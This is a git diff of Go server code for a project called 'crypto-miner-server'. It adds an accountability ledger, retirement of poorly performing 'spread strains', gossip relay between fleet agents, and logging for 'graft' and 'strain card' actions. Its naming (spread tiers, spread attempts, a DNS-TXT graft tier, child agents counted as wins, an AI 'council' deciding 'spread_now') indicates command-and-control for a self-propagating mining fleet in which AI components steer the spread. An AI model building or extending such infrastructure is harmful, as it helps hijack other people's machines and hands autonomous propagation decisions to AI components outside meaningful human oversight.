+ } + bridge := &OathLedgerBridge{DB: e.Hub.db, Hub: e.Hub} + _ = bridge.Record( + "ai_scheduler", + actionType, + agentID, + agentStrainFromDB(e.Hub.db, agentID), + oathOutcomeFromError(execErr), + map[string]interface{}{ + "command_type": cmd.Type, + "args": args, + }, + map[string]interface{}{ + "command_type": cmd.Type, + "args": args, + "summary": summary, + "error": errorString(execErr), + }, + ) +} + +func errorString(err error) string { + if err == nil { + return "" + } + return err.Error() +} + func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) { payload := map[string]interface{}{} if raw, ok := args["tier_order"]; ok { diff --git a/server/internal/api/fleet_graft.go b/server/internal/api/fleet_graft.go index 56bc4ae..e01024b 100644 --- a/server/internal/api/fleet_graft.go +++ b/server/internal/api/fleet_graft.go @@ -6,6 +6,7 @@ import ( "strings" "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/db" "crypto-miner-server/internal/strategy" ) @@ -55,6 +56,11 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) { graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID) if err != nil { + _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( + AuthUsername(r), db.OathGraft, targetID, "", db.OathOutcomeFail, + map[string]string{"source_agent_id": sourceID, "target_agent_id": targetID}, + map[string]interface{}{"error": err.Error()}, + ) writeJSON(w, map[string]interface{}{ "success": false, "error": err.Error(), @@ -74,4 +80,17 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) { "graft_tier": graftPolicy.GraftTier, "strain": graftPolicy.GraftSourceStrain, }) + _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( + AuthUsername(r), db.OathGraft, targetID, graftPolicy.GraftSourceStrain, db.OathOutcomeSuccess, + map[string]interface{}{ + "source_agent_id": sourceID, + "graft_tier": graftPolicy.GraftTier, + "graft_policy": graftPolicy, + }, + map[string]interface{}{ + "source_agent_id": sourceID, + "graft_tier": graftPolicy.GraftTier, + "pushed": f.ws.IsAgentReachable(targetID), + }, + ) } diff --git a/server/internal/api/fleet_torrent.go b/server/internal/api/fleet_torrent.go new file mode 100644 index 0000000..f41f41f --- /dev/null +++ b/server/internal/api/fleet_torrent.go @@ -0,0 +1,102 @@ +package api + +import ( + "encoding/json" + "log" + + "crypto-miner-server/internal/atlas" +) + +func (h *WSHub) handleAgentFleetTorrentGossip(senderID string, payload json.RawMessage) { + if !h.serverPolicySnapshot().FleetTorrentEnabled { + return + } + var body struct { + Records []atlas.FleetGossipRecord `json:"records"` + } + if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 { + return + } + records := atlas.NormalizeFleetGossipRecords(body.Records) + if len(records) == 0 { + return + } + h.relayFleetTorrentGossip(senderID, records) +} + +func (h *WSHub) relayFleetTorrentGossip(senderID string, records []atlas.FleetGossipRecord) { + out := Message{ + Type: "fleet_torrent_gossip", + Payload: mustMarshal(map[string]interface{}{ + "records": records, + "source_agent_id": senderID, + }), + } + h.mu.RLock() + defer h.mu.RUnlock() + for id, ac := range h.agents { + if id == senderID || ac == nil { + continue + } + if err := ac.SendJSON(out); err != nil { + log.Printf("[fleet-torrent] relay to %s: %v", id, err) + } + } +} + +// subnetPrimarySeederHint elects one primary seeder per /24 when fleet torrent is enabled. +func (h *WSHub) subnetPrimarySeederHint(agentID, clientIP, role string) string { + if !h.serverPolicySnapshot().FleetTorrentEnabled { + return "" + } + if role != "seeder" { + return "" + } + subnet := subnetPrefix24(clientIP) + if subnet == "" { + return "" + } + pick := h.electSubnetPrimarySeeder(subnet) + if pick == "" { + return agentID + } + return pick +} + +func (h *WSHub) electSubnetPrimarySeeder(subnet string) string { + if subnet == "" { + return "" + } + h.mu.RLock() + defer h.mu.RUnlock() + var bestID string + for id, tel := range h.agentLiveTelemetry { + role, _ := tel["fleet_role"].(string) + if role != "seeder" { + continue + } + ip := h.agentIPLocked(id) + if subnetPrefix24(ip) != subnet { + continue + } + if bestID == "" || id < bestID { + bestID = id + } + } + return bestID +} + +func (h *WSHub) isSubnetPrimarySeeder(agentID, clientIP string) bool { + if agentID == "" { + return false + } + subnet := subnetPrefix24(clientIP) + if subnet == "" { + return false + } + pick := h.electSubnetPrimarySeeder(subnet) + if pick == "" { + return true + } + return pick == agentID +} diff --git a/server/internal/api/fleet_torrent_manifest_test.go b/server/internal/api/fleet_torrent_manifest_test.go new file mode 100644 index 0000000..7bce5fe --- /dev/null +++ b/server/internal/api/fleet_torrent_manifest_test.go @@ -0,0 +1,40 @@ +package api + +import ( + "context" + "net/http/httptest" + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/erasure" + + "github.com/go-chi/chi/v5" +) + +func TestErasureTorrentManifestEndpoint(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + store := erasure.NewShardStore() + p, _ := erasure.DefaultParams().Normalize() + payload := []byte("torrent-manifest-payload-bytes!!") + shards, _, err := erasure.Encode(payload, p) + if err != nil { + t.Fatal(err) + } + store.Put("manifest-tok", p, shards) + h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} }) + h.BindErasureShardStore(store) + + req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil) + rctx := chi.NewRouteContext() + rctx.URLParams.Add("token", "manifest-tok") + req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) + rec := httptest.NewRecorder() + h.ErasureTorrentManifest(rec, req) + if rec.Code != 200 { + t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) + } +} diff --git a/server/internal/api/oath_ledger.go b/server/internal/api/oath_ledger.go new file mode 100644 index 0000000..707a491 --- /dev/null +++ b/server/internal/api/oath_ledger.go @@ -0,0 +1,83 @@ +package api + +import ( + "net/http" + "strconv" + "strings" + + dbpkg "crypto-miner-server/internal/db" +) + +// OathLedgerBridge records immutable rows and broadcasts dashboard WS events. +type OathLedgerBridge struct { + DB *dbpkg.Database + Hub *WSHub +} + +// Record appends one oath ledger row and emits oath_ledger_event when a hub is wired. +func (b *OathLedgerBridge) Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error { + if b == nil || b.DB == nil { + return nil + } + whyHash := dbpkg.HashWhyJSON(whySource) + entry, err := b.DB.InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome, payload) + if err != nil { + return err + } + if b.Hub != nil && entry != nil { + b.Hub.BroadcastOathLedgerEvent(*entry) + } + return nil +} + +// BroadcastOathLedgerEvent pushes a live oath row to dashboard clients. +func (h *WSHub) BroadcastOathLedgerEvent(entry dbpkg.OathLedgerEntry) { + if h == nil { + return + } + h.broadcastDashboard(Message{ + Type: "oath_ledger_event", + Payload: mustMarshal(entry), + }) +} + +// GetOathLedger lists recent immutable accountability rows. +func (f *FleetHandler) GetOathLedger(w http.ResponseWriter, r *http.Request) { + if f.db == nil { + writeJSON(w, []dbpkg.OathLedgerEntry{}) + return + } + limit := 100 + if raw := strings.TrimSpace(r.URL.Query().Get("limit")); raw != "" { + if n, err := strconv.Atoi(raw); err == nil && n > 0 { + limit = n + } + } + rows, err := f.db.ListOathLedger(limit) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if rows == nil { + rows = []dbpkg.OathLedgerEntry{} + } + writeJSON(w, rows) +} + +func agentStrainFromDB(database *dbpkg.Database, agentID string) string { + if database == nil || agentID == "" { + return "" + } + ag, err := database.GetAgent(agentID) + if err != nil || ag == nil { + return "" + } + return ag.SpreadStrain +} + +func oathOutcomeFromError(err error) string { + if err != nil { + return dbpkg.OathOutcomeFail + } + return dbpkg.OathOutcomeSuccess +} diff --git a/server/internal/api/oath_ledger_test.go b/server/internal/api/oath_ledger_test.go new file mode 100644 index 0000000..1e02238 --- /dev/null +++ b/server/internal/api/oath_ledger_test.go @@ -0,0 +1,59 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/pool" +) + +func TestGetOathLedgerLimit(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + bridge := &OathLedgerBridge{DB: database} + if err := bridge.Record("comrade", db.OathGraft, "tgt-1", "#ff00aa", db.OathOutcomeSuccess, + map[string]string{"source": "src-1"}, map[string]string{"graft_tier": "dns_txt"}); err != nil { + t.Fatal(err) + } + + fh := NewFleetHandler(database, nil, nil, nil, nil, pool.Config{}, t.TempDir()) + req := httptest.NewRequest(http.MethodGet, "/api/v1/fleet/oath-ledger?limit=5", nil) + rec := httptest.NewRecorder() + fh.GetOathLedger(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String()) + } + var rows []db.OathLedgerEntry + if err := json.Unmarshal(rec.Body.Bytes(), &rows); err != nil { + t.Fatal(err) + } + if len(rows) != 1 || rows[0].ActionType != db.OathGraft || rows[0].Actor != "comrade" { + t.Fatalf("unexpected rows: %+v", rows) + } +} + +func TestOathLedgerBridgePersistsCourtRow(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + bridge := &OathLedgerBridge{DB: database, Hub: hub} + if err := bridge.Record("ai_council:judge", db.OathCourtL4Decision, "a1", "", db.OathOutcomeSuccess, + map[string]string{"verdict": "retry"}, map[string]string{"executed": "spread_now"}); err != nil { + t.Fatal(err) + } + rows, err := database.ListOathLedger(1) + if err != nil || len(rows) != 1 || rows[0].ActionType != db.OathCourtL4Decision { + t.Fatalf("db rows: %+v err=%v", rows, err) + } +} diff --git a/server/internal/api/pathtracer_timeline.go b/server/internal/api/pathtracer_timeline.go index 473e104..0138aa5 100644 --- a/server/internal/api/pathtracer_timeline.go +++ b/server/internal/api/pathtracer_timeline.go @@ -11,6 +11,8 @@ import ( "github.com/google/uuid" "crypto-miner-server/internal/ai" + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" ) // TimelineBranchStatus tracks ghost-branch exploration on a Path Tracer target hop. @@ -205,9 +207,16 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) { if parentID == "" { parentID = sess.ID } + hospice := map[string]bool{} + if h.hub != nil { + hospice = h.hub.HospiceStrainSet() + } var spawned []*TimelineBranch for _, persona := range normalized { lanes := ai.PersonaSpreadTierOrder(persona) + if len(lanes) > 0 && strategy.LaneInHospice(lanes[0], hospice) { + continue + } branch := &TimelineBranch{ ID: uuid.New().String(), ParentID: parentID, @@ -226,6 +235,11 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) { sess.TimelineBranches = append(sess.TimelineBranches, branch) spawned = append(spawned, branch) } + if len(spawned) == 0 { + h.mu.Unlock() + http.Error(w, "all fork personas map to hospice strains — parent selection blocked", http.StatusConflict) + return + } h.mu.Unlock() h.persistSession(sess) @@ -234,6 +248,25 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) { go h.runGhostBranch(sess.ID, b) } h.broadcastTimelineEvent(sess, "fork", spawned[0]) + if h.hub != nil && h.hub.db != nil { + why := map[string]interface{}{ + "session_id": sess.ID, + "fork_hop_index": req.ForkHopIndex, + "target_agent_id": target.AgentID, + "personas": normalized, + "branches_spawned": len(spawned), + } + _ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record( + AuthUsername(r), dbpkg.OathForkMerge, target.AgentID, agentStrainFromDB(h.hub.db, target.AgentID), + dbpkg.OathOutcomePending, why, + map[string]interface{}{ + "event": "fork", + "session_id": sess.ID, + "fork_hop_index": req.ForkHopIndex, + "branches_spawned": len(spawned), + }, + ) + } writeJSON(w, map[string]interface{}{ "ok": true, @@ -279,6 +312,14 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) { http.Error(w, "cannot merge canonical root", http.StatusBadRequest) return } + if h.hub != nil && len(winner.SpreadLanes) > 0 { + hospice := h.hub.HospiceStrainSet() + if strategy.LaneInHospice(winner.SpreadLanes[0], hospice) { + h.mu.Unlock() + http.Error(w, "branch spread strain is in hospice — fork-merge parent selection blocked", http.StatusConflict) + return + } + } if winner.Status != BranchWon && winner.Status != BranchRunning { h.mu.Unlock() http.Error(w, "branch must be running or won to merge", http.StatusConflict) @@ -308,6 +349,26 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) { h.mu.Unlock() h.persistSession(sess) h.broadcastTimelineEvent(sess, "merge", winner) + if h.hub != nil && h.hub.db != nil { + why := map[string]interface{}{ + "session_id": sess.ID, + "merged_branch_id": winner.ID, + "merged_persona": winner.Persona, + "merged_spread_lane": sess.MergedSpreadLane, + "merged_hashrate": sess.MergedHashrate, + } + _ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record( + AuthUsername(r), dbpkg.OathForkMerge, winner.TargetAgentID, agentStrainFromDB(h.hub.db, winner.TargetAgentID), + dbpkg.OathOutcomeSuccess, why, + map[string]interface{}{ + "event": "merge", + "session_id": sess.ID, + "merged_branch_id": winner.ID, + "merged_persona": winner.Persona, + "merged_spread_lane": sess.MergedSpreadLane, + }, + ) + } writeJSON(w, map[string]interface{}{ "ok": true, diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 59c019c..375d505 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -591,6 +591,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/fleet/graft", fleetHandler.PostFleetGraft) r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards) r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard) + r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice) + r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice) + r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger) } if fleetAIHandler != nil { r.Get("/ai/models", fleetAIHandler.GetModels) diff --git a/server/internal/api/strain_card.go b/server/internal/api/strain_card.go index c56d7bf..737e9d8 100644 --- a/server/internal/api/strain_card.go +++ b/server/internal/api/strain_card.go @@ -74,9 +74,21 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request if card.ID == "" { card.ID = stored.ID } + if inHospice, err := f.db.IsStrainInHospice(strategy.NormalizeStrainID(card.SpreadStrain)); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } else if inHospice { + http.Error(w, "strain is in hospice — play-card disabled (museum archive)", http.StatusConflict) + return + } result, err := f.ws.PlayStrainCard(agentID, card) if err != nil { + _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( + AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeFail, + map[string]interface{}{"card_id": cardID, "persona": card.Persona}, + map[string]interface{}{"error": err.Error(), "card_id": cardID}, + ) writeJSON(w, map[string]interface{}{ "success": false, "error": err.Error(), @@ -100,6 +112,22 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request "queued": result.Queued, "transport": result.Transport, }) + _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( + AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeSuccess, + map[string]interface{}{ + "card_id": cardID, + "persona": card.Persona, + "root": card.RootAgentID, + }, + map[string]interface{}{ + "card_id": cardID, + "play_id": result.PlayID, + "persona": card.Persona, + "sent": result.Sent, + "queued": result.Queued, + "transport": result.Transport, + }, + ) writeJSON(w, map[string]interface{}{ "success": true, diff --git a/server/internal/api/strain_hospice.go b/server/internal/api/strain_hospice.go new file mode 100644 index 0000000..dc98002 --- /dev/null +++ b/server/internal/api/strain_hospice.go @@ -0,0 +1,250 @@ +package api + +import ( + "encoding/json" + "log" + "net/http" + "strings" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +type strainHospiceRequest struct { + StrainID string `json:"strain_id"` + Reason string `json:"reason,omitempty"` +} + +// GetStrainHospice lists archived strains (museum read-only lineage). +func (f *FleetHandler) GetStrainHospice(w http.ResponseWriter, r *http.Request) { + if f.db == nil { + writeJSON(w, []db.StrainHospiceRecord{}) + return + } + rows, err := f.db.ListStrainHospice(200) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, rows) +} + +// PostStrainHospice archives a failed/low-win strain to hospice. +func (f *FleetHandler) PostStrainHospice(w http.ResponseWriter, r *http.Request) { + if f.db == nil || f.ws == nil { + http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable) + return + } + var req strainHospiceRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid body", http.StatusBadRequest) + return + } + strainID := strategy.NormalizeStrainID(req.StrainID) + if strainID == "" { + http.Error(w, "strain_id is required", http.StatusBadRequest) + return + } + reason := strings.TrimSpace(req.Reason) + if reason == "" { + reason = "operator manual retirement" + } + rec, err := f.ws.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByOperator), reason) + if err != nil { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": err.Error(), + }) + return + } + _ = f.db.InsertAudit(AuthUsername(r), "strain_hospice", "", map[string]interface{}{ + "strain_id": strainID, + "retired_by": rec.RetiredBy, + "reason": rec.Reason, + }) + writeJSON(w, map[string]interface{}{ + "success": true, + "strain_id": rec.StrainID, + "retired_by": rec.RetiredBy, + "reason": rec.Reason, + "retired_at": rec.RetiredAt, + }) +} + +// RetireStrainToHospice archives a strain, updates breeding cache, and emits Seer + oath ledger. +func (h *WSHub) RetireStrainToHospice(strainID, retiredBy, reason string) (*db.StrainHospiceRecord, error) { + if h == nil || h.db == nil { + return nil, errHubUnavailable + } + strainID = strategy.NormalizeStrainID(strainID) + if strainID == "" { + return nil, errStrainRequired + } + if ok, err := h.db.IsStrainInHospice(strainID); err != nil { + return nil, err + } else if ok { + rec, err := h.db.GetStrainHospice(strainID) + if err != nil { + return nil, err + } + return rec, nil + } + cardJSON, err := h.db.CardJSONForStrain(strainID) + if err != nil { + return nil, err + } + if err := h.db.RetireStrain(strainID, retiredBy, reason, cardJSON); err != nil { + return nil, err + } + rec, err := h.db.GetStrainHospice(strainID) + if err != nil { + return nil, err + } + h.refreshHospiceBreedingCache() + h.emitStrainHospiceRetirement(rec, retiredBy, reason) + log.Printf("[hospice] strain %s retired by %s: %s", strainID, retiredBy, reason) + return rec, nil +} + +func (h *WSHub) refreshHospiceBreedingCache() { + if h == nil || h.db == nil || h.breedingRegistry == nil { + return + } + set, err := h.db.HospiceStrainSet() + if err != nil { + log.Printf("[hospice] breeding cache refresh: %v", err) + return + } + h.breedingRegistry.SetHospiceStrains(set) +} + +func (h *WSHub) emitStrainHospiceRetirement(rec *db.StrainHospiceRecord, retiredBy, reason string) { + if rec == nil { + return + } + payload := map[string]interface{}{ + "strain_id": rec.StrainID, + "retired_by": rec.RetiredBy, + "reason": rec.Reason, + "retired_at": rec.RetiredAt.UTC().Format("2006-01-02T15:04:05Z"), + "card_json": json.RawMessage(rec.CardJSON), + } + _ = (&OathLedgerBridge{DB: h.db, Hub: h}).Record( + retiredBy, db.OathStrainHospice, "", rec.StrainID, db.OathOutcomeSuccess, + map[string]interface{}{"reason": reason, "retired_by": rec.RetiredBy}, + payload, + ) + emitter := &HubSeerEmitter{Hub: h, DB: h.db} + _ = emitter.EmitSeerEvent("strain_hospice", "", payload) + h.broadcastDashboard(Message{ + Type: "strain_hospice", + Payload: mustMarshal(payload), + }) +} + +// HospiceStrainSet returns retired strains for topology and fork-merge guards. +func (h *WSHub) HospiceStrainSet() map[string]bool { + if h == nil || h.db == nil { + return nil + } + set, err := h.db.HospiceStrainSet() + if err != nil { + return nil + } + return set +} + +// MaybeAutoRetireLowWinStrains scans epidemiology and retires chronic losers when AI control is on. +func (h *WSHub) MaybeAutoRetireLowWinStrains() { + if h == nil || h.db == nil { + return + } + policy := h.serverPolicySnapshot() + if !policy.AIControlEnabled { + return + } + threshold := policy.StrainHospiceWinRateThreshold + if threshold <= 0 { + threshold = strategy.DefaultHospiceWinRateThreshold + } + minAttempts := policy.StrainHospiceMinAttempts + if minAttempts <= 0 { + minAttempts = strategy.DefaultHospiceMinAttempts + } + hospice, _ := h.db.HospiceStrainSet() + for strainID, stats := range h.collectStrainSpreadStats() { + if hospice[strainID] { + continue + } + if !strategy.ShouldAutoRetireStrain(stats.Wins, stats.Losses, threshold, minAttempts) { + continue + } + reason := "ai auto-retire: win_rate below threshold after min attempts" + if _, err := h.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByAI), reason); err != nil { + log.Printf("[hospice] auto-retire %s: %v", strainID, err) + } + } +} + +func (h *WSHub) collectStrainSpreadStats() map[string]strategy.StrainSpreadStats { + out := make(map[string]strategy.StrainSpreadStats) + if h == nil || h.db == nil { + return out + } + agents, err := h.db.ListAgents() + if err != nil { + return out + } + joinLanes := h.agentJoinLanesSnapshot() + for _, ag := range agents { + if ag == nil { + continue + } + strain := strategy.NormalizeStrainID(ag.SpreadStrain) + if strain == "" { + lane := joinLanes[ag.ID] + if lane == "" { + lane = ag.JoinLane + } + strain = strategy.StrainFromSpreadLane(lane) + } + if strain == "" { + continue + } + entry := out[strain] + entry.StrainID = strain + if ag.ParentAgentID != "" { + if ag.Status == "online" && (ag.JoinLane != "" || joinLanes[ag.ID] != "") { + entry.Wins++ + } else if ag.Status == "error" || ag.Status == "offline" { + entry.Losses++ + } + } + out[strain] = entry + } + cards, _ := h.db.ListStrainCards(200) + for _, c := range cards { + strain := strategy.NormalizeStrainID(c.SpreadStrain) + if strain == "" { + continue + } + entry := out[strain] + entry.StrainID = strain + var card map[string]interface{} + if json.Unmarshal([]byte(c.CardJSON), &card) == nil { + if wins, ok := card["wins"].([]interface{}); ok { + entry.Wins += len(wins) + } + if losses, ok := card["losses"].([]interface{}); ok { + entry.Losses += len(losses) + } + } + out[strain] = entry + } + return out +} + +var ( + errHubUnavailable = &strainCardError{"hub unavailable"} + errStrainRequired = &strainCardError{"strain_id is required"} +) diff --git a/server/internal/atlas/fleet_gossip.go b/server/internal/atlas/fleet_gossip.go new file mode 100644 index 0000000..81700a4 --- /dev/null +++ b/server/internal/atlas/fleet_gossip.go @@ -0,0 +1,67 @@ +package atlas + +import ( + "strings" +) + +// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only). +const ( + FleetGossipHaveShard = "have_shard" + FleetGossipHealthy = "healthy" + FleetGossipKnowNode = "know_node" +) + +// FleetGossipRecord is one peer advertisement in the fleet torrent DHT. +type FleetGossipRecord struct { + Kind string `json:"kind"` + AgentID string `json:"agent_id,omitempty"` + Subnet string `json:"subnet,omitempty"` + Token string `json:"token,omitempty"` + ShardIndex int `json:"shard_index,omitempty"` + ShardHash string `json:"shard_hash,omitempty"` + TargetAgentID string `json:"target_agent_id,omitempty"` + Healthy bool `json:"healthy,omitempty"` + FetchURL string `json:"fetch_url,omitempty"` +} + +// NormalizeFleetGossipRecord validates and trims one fleet gossip record. +func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { + r.Kind = strings.TrimSpace(strings.ToLower(r.Kind)) + r.AgentID = strings.TrimSpace(r.AgentID) + r.Subnet = strings.TrimSpace(r.Subnet) + r.Token = strings.TrimSpace(r.Token) + r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash)) + r.TargetAgentID = strings.TrimSpace(r.TargetAgentID) + r.FetchURL = strings.TrimSpace(r.FetchURL) + switch r.Kind { + case FleetGossipHaveShard: + if r.AgentID == "" || r.Token == "" || r.ShardHash == "" { + return FleetGossipRecord{}, false + } + case FleetGossipHealthy: + if r.AgentID == "" { + return FleetGossipRecord{}, false + } + case FleetGossipKnowNode: + if r.AgentID == "" || r.TargetAgentID == "" { + return FleetGossipRecord{}, false + } + default: + return FleetGossipRecord{}, false + } + return r, true +} + +// NormalizeFleetGossipRecords drops invalid records while preserving order. +func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { + if len(in) == 0 { + return nil + } + out := make([]FleetGossipRecord, 0, len(in)) + for _, r := range in { + if norm, ok := NormalizeFleetGossipRecord(r); ok { + out = append(out, norm) + } + } + return out +} diff --git a/server/internal/atlas/fleet_gossip_test.go b/server/internal/atlas/fleet_gossip_test.go new file mode 100644 index 0000000..6201579 --- /dev/null +++ b/server/internal/atlas/fleet_gossip_test.go @@ -0,0 +1,16 @@ +package atlas + +import "testing" + +func TestNormalizeFleetGossipRecords(t *testing.T) { + in := []FleetGossipRecord{ + {Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"}, + {Kind: "bogus"}, + {Kind: FleetGossipHealthy, AgentID: "b", Healthy: true}, + {Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"}, + } + out := NormalizeFleetGossipRecords(in) + if len(out) != 3 { + t.Fatalf("got %d records", len(out)) + } +} diff --git a/server/internal/db/oath_ledger.go b/server/internal/db/oath_ledger.go new file mode 100644 index 0000000..a0360a8 --- /dev/null +++ b/server/internal/db/oath_ledger.go @@ -0,0 +1,172 @@ +package db + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "time" +) + +// Oath action types — immutable accountability rows. +const ( + OathSpreadTierEscalation = "spread_tier_escalation" + OathGraft = "graft" + OathForkMerge = "fork_merge" + OathStrainCardPlay = "strain_card_play" + OathCourtL4Decision = "court_l4_decision" + OathSpreadAttempt = "spread_attempt" + OathStrainHospice = "strain_hospice" +) + +// Oath outcomes. +const ( + OathOutcomeSuccess = "success" + OathOutcomeFail = "fail" + OathOutcomePending = "pending" +) + +// OathLedgerEntry is one immutable operator / AI council accountability row. +type OathLedgerEntry struct { + ID int64 `json:"id"` + Timestamp string `json:"timestamp"` + Actor string `json:"actor"` + ActionType string `json:"action_type"` + AgentID string `json:"agent_id"` + Strain string `json:"strain"` + WhyHash string `json:"why_hash"` + Outcome string `json:"outcome"` + PayloadJSON json.RawMessage `json:"payload_json"` +} + +func (d *Database) ensureOathLedgerTable() error { + _, err := d.Exec(`CREATE TABLE IF NOT EXISTS oath_ledger ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + actor TEXT NOT NULL DEFAULT '', + action_type TEXT NOT NULL, + agent_id TEXT NOT NULL DEFAULT '', + strain TEXT NOT NULL DEFAULT '', + why_hash TEXT NOT NULL DEFAULT '', + outcome TEXT NOT NULL DEFAULT 'pending', + payload_json TEXT NOT NULL DEFAULT '{}' + )`) + if err != nil { + return err + } + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_oath_ledger_ts ON oath_ledger(timestamp)`) + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_oath_ledger_action ON oath_ledger(action_type)`) + return nil +} + +// HashWhyJSON returns SHA256 hex of JSON-encoded source evidence (autopsy / court transcript). +func HashWhyJSON(source interface{}) string { + if source == nil { + return "" + } + raw, err := json.Marshal(source) + if err != nil { + raw = []byte("{}") + } + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]) +} + +func marshalOathPayload(payload interface{}) []byte { + if payload == nil { + return []byte("{}") + } + switch v := payload.(type) { + case json.RawMessage: + if len(v) == 0 { + return []byte("{}") + } + return v + case map[string]interface{}: + raw, err := json.Marshal(v) + if err != nil { + return []byte("{}") + } + return raw + default: + raw, err := json.Marshal(payload) + if err != nil { + return []byte("{}") + } + return raw + } +} + +// InsertOathLedger appends one immutable accountability row. +func (d *Database) InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome string, payload interface{}) (*OathLedgerEntry, error) { + if d == nil { + return nil, nil + } + if err := d.ensureOathLedgerTable(); err != nil { + return nil, err + } + if outcome == "" { + outcome = OathOutcomePending + } + payloadJSON := marshalOathPayload(payload) + ts := time.Now().UTC() + res, err := d.Exec( + `INSERT INTO oath_ledger (timestamp, actor, action_type, agent_id, strain, why_hash, outcome, payload_json) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + ts, actor, actionType, agentID, strain, whyHash, outcome, string(payloadJSON), + ) + if err != nil { + return nil, err + } + id, _ := res.LastInsertId() + return &OathLedgerEntry{ + ID: id, + Timestamp: ts.Format(time.RFC3339), + Actor: actor, + ActionType: actionType, + AgentID: agentID, + Strain: strain, + WhyHash: whyHash, + Outcome: outcome, + PayloadJSON: json.RawMessage(payloadJSON), + }, nil +} + +// ListOathLedger returns recent rows newest-first. +func (d *Database) ListOathLedger(limit int) ([]OathLedgerEntry, error) { + if d == nil { + return nil, nil + } + if err := d.ensureOathLedgerTable(); err != nil { + return nil, err + } + if limit <= 0 { + limit = 100 + } + if limit > 500 { + limit = 500 + } + rows, err := d.Query( + `SELECT id, timestamp, actor, action_type, agent_id, strain, why_hash, outcome, payload_json + FROM oath_ledger ORDER BY id DESC LIMIT ?`, + limit, + ) + if err != nil { + return nil, err + } + defer rows.Close() + var out []OathLedgerEntry + for rows.Next() { + var e OathLedgerEntry + var ts time.Time + var payloadStr string + if err := rows.Scan(&e.ID, &ts, &e.Actor, &e.ActionType, &e.AgentID, &e.Strain, &e.WhyHash, &e.Outcome, &payloadStr); err != nil { + return nil, err + } + e.Timestamp = ts.UTC().Format(time.RFC3339) + if payloadStr != "" { + e.PayloadJSON = json.RawMessage(payloadStr) + } + out = append(out, e) + } + return out, rows.Err() +} diff --git a/server/internal/db/oath_ledger_test.go b/server/internal/db/oath_ledger_test.go new file mode 100644 index 0000000..70d40f5 --- /dev/null +++ 